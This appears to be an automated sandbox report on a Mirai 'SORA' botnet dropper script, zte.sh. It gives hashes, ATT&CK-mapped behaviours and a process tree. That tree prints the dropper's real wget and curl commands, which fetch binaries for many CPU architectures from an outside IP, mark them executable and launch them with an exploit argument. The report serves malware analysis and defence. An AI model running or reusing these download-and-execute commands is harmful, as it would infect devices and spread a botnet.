mirai | 9f23d5a2fd461ea6cf66de255a4a2a24f8d2a1493c5d0fca55d0d75f86d41893

Analysis

max time kernel
118s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
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08/04/2025, 09:22

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General

Target

zte.sh
Size

2KB
MD5

0f11adde4bd27799d5d8a88dda6dd214
SHA1

2f5ed76bdb88221956b62fe5ebc31fa0bd9abae7
SHA256

9f23d5a2fd461ea6cf66de255a4a2a24f8d2a1493c5d0fca55d0d75f86d41893
SHA512

aac960972fe0283b446cb2bc99f1fca3504776ebe0bab8921c15de172ca4a4881569219c2010b11464b824491ca9e026f3123f6d9affa26bab88e7b1e9ee3dd0

Score

10^/10

mirai sora botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

SORA

Extracted

Family

mirai

Botnet

SORA

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (27634) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
815	chmod
827	chmod
869	chmod
882	chmod
888	chmod
893	chmod
739	chmod
745	chmod
753	chmod
770	chmod
846	chmod
875	chmod
793	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/robben	740	zte.sh
/tmp/robben	746	zte.sh
/tmp/robben	754	zte.sh
/tmp/robben	772	zte.sh
/tmp/robben	794	zte.sh
/tmp/robben	816	zte.sh
/tmp/robben	828	zte.sh
/tmp/robben	847	zte.sh
/tmp/robben	870	zte.sh
/tmp/robben	876	zte.sh
/tmp/robben	883	zte.sh
/tmp/robben	889	zte.sh
/tmp/robben	894	zte.sh

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	robben
File opened for modification	/dev/misc/watchdog	robben

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-7.dat	upx

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	2d22ocoaonejf3c	816	robben

Reads runtime system information 37 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/878/exe	robben
File opened for reading	/proc/468/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/799/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/885/exe	robben
File opened for reading	/proc/890/exe	robben
File opened for reading	/proc/818/exe	robben
File opened for reading	/proc/475/exe	robben
File opened for reading	/proc/509/exe	robben
File opened for reading	/proc/706/exe	robben
File opened for reading	/proc/803/exe	robben
File opened for reading	/proc/872/exe	robben
File opened for reading	/proc/873/exe	robben
File opened for reading	/proc/891/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/822/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/686/exe	robben
File opened for reading	/proc/708/exe	robben
File opened for reading	/proc/709/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/501/exe	robben
File opened for reading	/proc/712/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/880/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/707/exe	robben
File opened for reading	/proc/812/exe	robben
File opened for reading	/proc/825/exe	robben
File opened for reading	/proc/856/exe	robben
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
742	wget
743	curl
744	cat

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/robben	zte.sh
File opened for modification	/tmp/sora.mips	wget
File opened for modification	/tmp/sora.i468	curl
File opened for modification	/tmp/sora.arm4	curl
File opened for modification	/tmp/sora.arm6	wget
File opened for modification	/tmp/sora.arm6	curl
File opened for modification	/tmp/sora.m68k	curl
File opened for modification	/tmp/sora.x86	curl
File opened for modification	/tmp/sora.mips	curl
File opened for modification	/tmp/sora.x86_64	curl
File opened for modification	/tmp/sora.i686	curl
File opened for modification	/tmp/sora.mpsl	wget
File opened for modification	/tmp/sora.mpsl	curl
File opened for modification	/tmp/sora.arm7	wget
File opened for modification	/tmp/sora.arm7	curl
File opened for modification	/tmp/sora.x86_64	wget
File opened for modification	/tmp/sora.i686	wget
File opened for modification	/tmp/sora.arm5	wget
File opened for modification	/tmp/sora.arm5	curl
File opened for modification	/tmp/sora.ppc	wget
File opened for modification	/tmp/sora.ppc	curl
File opened for modification	/tmp/sora.ppc440fp	curl
File opened for modification	/tmp/sora.m68k	wget
File opened for modification	/tmp/sora.sh4	wget
File opened for modification	/tmp/sora.x86	wget

/tmp/zte.sh
/tmp/zte.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:709
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.x86
  2⤵
  - Writes file to tmp directory
  PID:713
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/cat
  cat sora.x86
  2⤵
  PID:738
- /bin/chmod
  chmod +x robben sora.x86 systemd-private-f457451a2f2e485fa569228bc22052f1-systemd-timedated.service-2DhGd0 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:740
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:743
- /bin/cat
  cat sora.mips
  2⤵
  - System Network Configuration Discovery
  PID:744
- /bin/chmod
  chmod +x robben sora.mips sora.x86 systemd-private-f457451a2f2e485fa569228bc22052f1-systemd-timedated.service-2DhGd0 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:746
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.x86_64
  2⤵
  - Writes file to tmp directory
  PID:748
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:749
- /bin/cat
  cat sora.x86_64
  2⤵
  PID:751
- /bin/chmod
  chmod +x robben sora.mips sora.x86 sora.x86_64 systemd-private-f457451a2f2e485fa569228bc22052f1-systemd-timedated.service-2DhGd0 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:754
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.i468
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.i468
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/cat
  cat sora.i468
  2⤵
  PID:769
- /bin/chmod
  chmod +x robben sora.i468 sora.mips sora.x86 sora.x86_64 systemd-private-f457451a2f2e485fa569228bc22052f1-systemd-timedated.service-2DhGd0 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:772
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.i686
  2⤵
  - Writes file to tmp directory
  PID:773
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/cat
  cat sora.i686
  2⤵
  PID:792
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:794
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.mpsl
  2⤵
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/cat
  cat sora.mpsl
  2⤵
  PID:814
- /bin/chmod
  chmod +x robben sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/robben
  ./robben zte.exploit
  2⤵
  - Modifies Watchdog functionality
  - Changes its process name
  - Reads runtime system information
  PID:816
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm4
  2⤵
  PID:821
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:825
- /bin/cat
  cat sora.arm4
  2⤵
  PID:826
- /bin/chmod
  chmod +x robben sora.arm4 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:828
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm5
  2⤵
  - Writes file to tmp directory
  PID:831
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/cat
  cat sora.arm5
  2⤵
  PID:845
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:847
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm6
  2⤵
  - Writes file to tmp directory
  PID:849
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:856
- /bin/cat
  cat sora.arm6
  2⤵
  PID:868
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:870
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.arm7
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/cat
  cat sora.arm7
  2⤵
  PID:874
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:876
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.ppc
  2⤵
  - Writes file to tmp directory
  PID:879
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:880
- /bin/cat
  cat sora.ppc
  2⤵
  PID:881
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:882
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:883
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.ppc440fp
  2⤵
  PID:885
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.ppc440fp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:886
- /bin/cat
  cat sora.ppc440fp
  2⤵
  PID:887
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:889
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.m68k
  2⤵
  - Writes file to tmp directory
  PID:890
- /usr/bin/curl
  curl -O http://178.149.240.69/bins/sora.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/cat
  cat sora.m68k
  2⤵
  PID:892
- /bin/chmod
  chmod +x robben sora.arm4 sora.arm5 sora.arm6 sora.arm7 sora.i468 sora.i686 sora.m68k sora.mips sora.mpsl sora.ppc sora.ppc440fp sora.x86 sora.x86_64 zte.sh
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/robben
  ./robben zte.exploit
  2⤵
  PID:894
- /usr/bin/wget
  wget http://178.149.240.69/bins/sora.sh4
  2⤵
  - Writes file to tmp directory
  PID:896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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/tmp/robben

Filesize
28KB

MD5
c665be249de8aacbf7f020710556850f

SHA1
7bf15fe8983c1a7304ecb626385fd8d656657750

SHA256
c70c7d6288ddd3de1e999fef3e15a4cb7d23656de44209d834ea08c97f26f2c3

SHA512
2125eacc929f9f6ab5232960153e3a3c2d554cd3f65fa7fb97324a275ce27034621999f2922aaa2a4beeeda75d09b2ff89aab6417e2f93329f56ce2529cd14d8

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/tmp/robben

Filesize
28KB

MD5
cb095025fabaf4935e7cde669f9b83cb

SHA1
f057ff497853eac9b47772ae58a6be561c16edf7

SHA256
d0a729eda4e98c132a68864f1feb9f2676840909d2584c4e8225ac058af1581f

SHA512
e4df6b3d5de8f2e09c31321931f471b2acf08f24457ac13c59aa24ede5e579db85c07cd447015ddfcf00be0d828277c03598bb732aad9e4928f83c54b7a18739

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/tmp/robben

Filesize
212B

MD5
83ab6cd9a67528bbc6f4f360cb7f8d83

SHA1
07e8f17209e0569aab39f062568ff0090d9b20d4

SHA256
3ffdc3e7f17876fa23ee6595712e544975dc985d313fe07fd103e6cd3606b435

SHA512
171e8022f004540814acfc611cd0c46f708fdc6dd2590042981cb00f8136baa6521155549a77e98352901b0dfa5a8d284feb37a7babf9e2bf400a9acc3bb686f

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/tmp/robben

Filesize
28KB

MD5
659a441fb5d03828d0e1dcdc8e94515c

SHA1
bf70af5209d2a89bd12c9a9d4b148ddd9b4af02f

SHA256
0e878390d0a19156525789562bacf861294b18a9308312e4a9c943d6e900ff44

SHA512
25d5d73027f64202338f40ae6ee71b12fa64db01e5b82afe2a3bb7abb415c19246b4368ddb1f98041a439155cadafd7eb7894e67eb31d84f205acc62b70d6cb8

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/tmp/robben

Filesize
64KB

MD5
394c5626ea5f3ffc4f9dde31e9bcf3d6

SHA1
e4454d4a97292fc59c14178c7b62e6b1f25c7be2

SHA256
be1718d915cb0a11f558dda64af2330e0a520af58dc61af31c60d8c58ac8f1a0

SHA512
9be90ebf5023bb6e9c38006d3e7512ba430fb15a6c492ba00fd0113c6763d47d8657b0ebc05b86524493bbf563ba24a397cdaaa194448e9cb92f20bd16715341

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/tmp/sora.x86

Filesize
27KB

MD5
ed0134170c819d0a2c3526f5ed8ecad5

SHA1
af1324bb6e6554b496e5938185f74456b69e54e1

SHA256
cd67a9db1c069d8a9ee68a76c68d20c53659d319425ecabf8a0c5b193aeb6fe8

SHA512
98ebd8a6a42f7c3a324cacc429d27fdd5cecf9995971adefdef184e15926741263a19429fa2966a4ced0d00fa715a36028e23b8e7cf5a5e0e567296d34b56ab6

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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